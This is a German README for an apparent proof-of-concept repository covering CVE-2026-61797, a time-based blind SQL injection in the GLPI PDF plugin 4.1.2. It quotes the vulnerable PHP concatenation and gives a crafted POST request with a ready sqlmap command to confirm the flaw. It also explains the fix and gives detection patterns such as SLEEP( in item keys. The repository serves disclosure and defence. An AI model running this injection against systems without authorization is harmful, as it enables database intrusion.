
Proof of Concept für CVE-2026-61797, eine zeitbasierte blinde SQL-Injection im GLPI-PDF-Plugin, mit sqlmap-Validierung und Hinweisen zur Erkennung.
Proof of Concept für CVE-2026-61797, eine zeitbasierte blinde SQL-Injection-Schwachstelle, die das GLPI PDF Plugin betrifft.
Die Schwachstelle ist erreichbar über:
/marketplace/pdf/front/preference.form.php
In der verwundbaren Implementierung werden benutzergesteuerte Werte aus dem item POST-Array ohne ordnungsgemäße Parametrisierung in SQL-Abfragen eingefügt.
Ein authentifizierter GLPI-Benutzer mit geringen Rechten kann dieses Verhalten ausnutzen, um SQL-Ausdrücke einzuschleusen und Datenbankinformationen über das Antwort-Timing abzuleiten.
| Feld | Wert |
|---|
| CVE | CVE-2026-61797 |
| Produkt | GLPI PDF Plugin |
| Getestete Version | 4.1.2 |
| Behobene Version | 4.1.3 |
| Schwachstelle | Zeitbasierte blinde SQL-Injection |
| Authentifizierung | Erforderlich im getesteten 4.1.2-Zweig |
| Angriffsvektor | Netzwerk |
| Benutzerinteraktion | Keine |
| Datenbank | MySQL |
| CVSS | 6.1 / 10 |
| Advisory | GHSA-wwr3-v347-c64m |
Der verwundbare Code platziert den vom Angreifer kontrollierten item-Schlüssel schließlich in das Feld tabref einer SQL-INSERT-Anweisung.
Konzeptionell sah die verwundbare Operation so aus:
foreach ($_POST['item'] as $key => $val) {
$DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
(`id`, `users_id`, `itemtype`, `tabref`)
VALUES (
NULL,
'" . $_SESSION['glpiID'] . "',
'" . $_POST['plugin_pdf_inventory_type'] . "',
'$key'
)");
}
Da $key Teil der SQL-Anweisung wird, kann ein manipulierter Array-Schlüssel die resultierende Abfrage verändern.
Der PoC erfordert:
sqlmap.Der PoC wurde gegen PDF Plugin 4.1.2 validiert.
Erfassen Sie eine legitime Anfrage an:
POST /marketplace/pdf/front/preference.form.php
und speichern Sie diese als:
glpi.sqli
Ein minimaler Request-Body, der geeignet ist, den Injektionspunkt zu markieren, ist:
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Das * teilt sqlmap mit, welcher Teil der Anfrage getestet werden soll.
Beispielhafte Request-Struktur:
POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>
plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>
Führen Sie aus:
sqlmap \
-r glpi.sqli \
--csrf-url "https://glpi.example.test/front/preference.php" \
--csrf-token "_glpi_csrf_token" \
--cookie "<VALID_GLPI_SESSION>" \
--technique=T \
--level=5 \
--risk=1 \
--batch
Eine verwundbare Installation sollte als anfällig für eine zeitbasierte blinde SQL-Injection am benutzerdefinierten POST-Injektionspunkt identifiziert werden.
Eine typische Erkennung sieht wie folgt aus:
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Die Technik beruht auf bedingten MySQL-Verzögerungen wie SLEEP(), um festzustellen, ob eine eingeschleuste Bedingung als wahr ausgewertet wird.
Dieses Repository beschränkt den dokumentierten PoC absichtlich auf die Verifikation der Schwachstelle und stellt keine Befehle zum Auslesen der Datenbank oder zum Extrahieren von Anmeldedaten bereit.
Die verwundbare Anfrage erreicht:
plugins/pdf/front/preference.form.php
Die Anwendung verarbeitet Werte ähnlich wie:
item[<USER_CONTROLLED_VALUE>]=1
PHP wandelt dies in ein assoziatives Array um, bei dem der Angreifer den Array-Schlüssel kontrolliert.
Dieser Schlüssel wird später vom Plugin als $key verwendet und in der verwundbaren Version direkt in eine SQL-Anweisung konkateniert.
Der resultierende Datenfluss ist effektiv:
HTTP POST
|
v
$_POST['item']
|
v
array key ($key)
|
v
SQL string concatenation
|
v
MySQL
Ein zeitbasierter Payload kann daher den SQL-Ausdruck beeinflussen und die Datenbank dazu bringen, die Antwort absichtlich zu verzögern, wenn eine gelieferte Bedingung wahr ist.
Da die Anwendung die Ergebnisse der SQL-Abfrage nicht direkt zurückgibt, erfolgt die Ausnutzung als blinde SQL-Injection.
Das Problem wurde in PDF Plugin 4.1.3 behoben.
Die verwundbaren rohen SQL-Operationen wurden durch sicherere Datenbank-/ORM-Mechanismen und zusätzliche Autorisierungslogik ersetzt.
Benutzer sollten auf Folgendes aktualisieren:
PDF Plugin >= 4.1.3
oder eine neuere unterstützte Version.
Verteidiger sollten HTTP-Anfragen überprüfen, die auf Folgendes abzielen:
/marketplace/pdf/front/preference.form.php
mit ungewöhnlichen item[...]-Parameternamen.
Besonders verdächtige Muster umfassen SQL-Syntax oder Zeitverzögerungsfunktionen innerhalb eines Array-Schlüssels, beispielsweise Verweise auf:
SLEEP(
SELECT
AND
OR
||
'
"
Wiederholte POST-Anfragen an den Endpunkt, gefolgt von konsistenten Antwortverzögerungen von mehreren Sekunden, können ebenfalls auf Versuche hindeuten, eine zeitbasierte blinde SQL-Injection auszunutzen.
Dieses Proof of Concept wird ausschließlich bereitgestellt für:
Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.
Die Autoren übernehmen keine Verantwortung für unbefugte oder rechtswidrige Nutzung dieses Materials.
Schwachstellenforschung und ursprüngliche technische Analyse:
ITRESIT Labs — Javier Medina
Ursprüngliche Forschung:
CVE:
CVE-2026-61797
GitHub Security Advisory:
GHSA-wwr3-v347-c64m
Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bestimmt.
Holen Sie stets eine ausdrückliche Genehmigung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.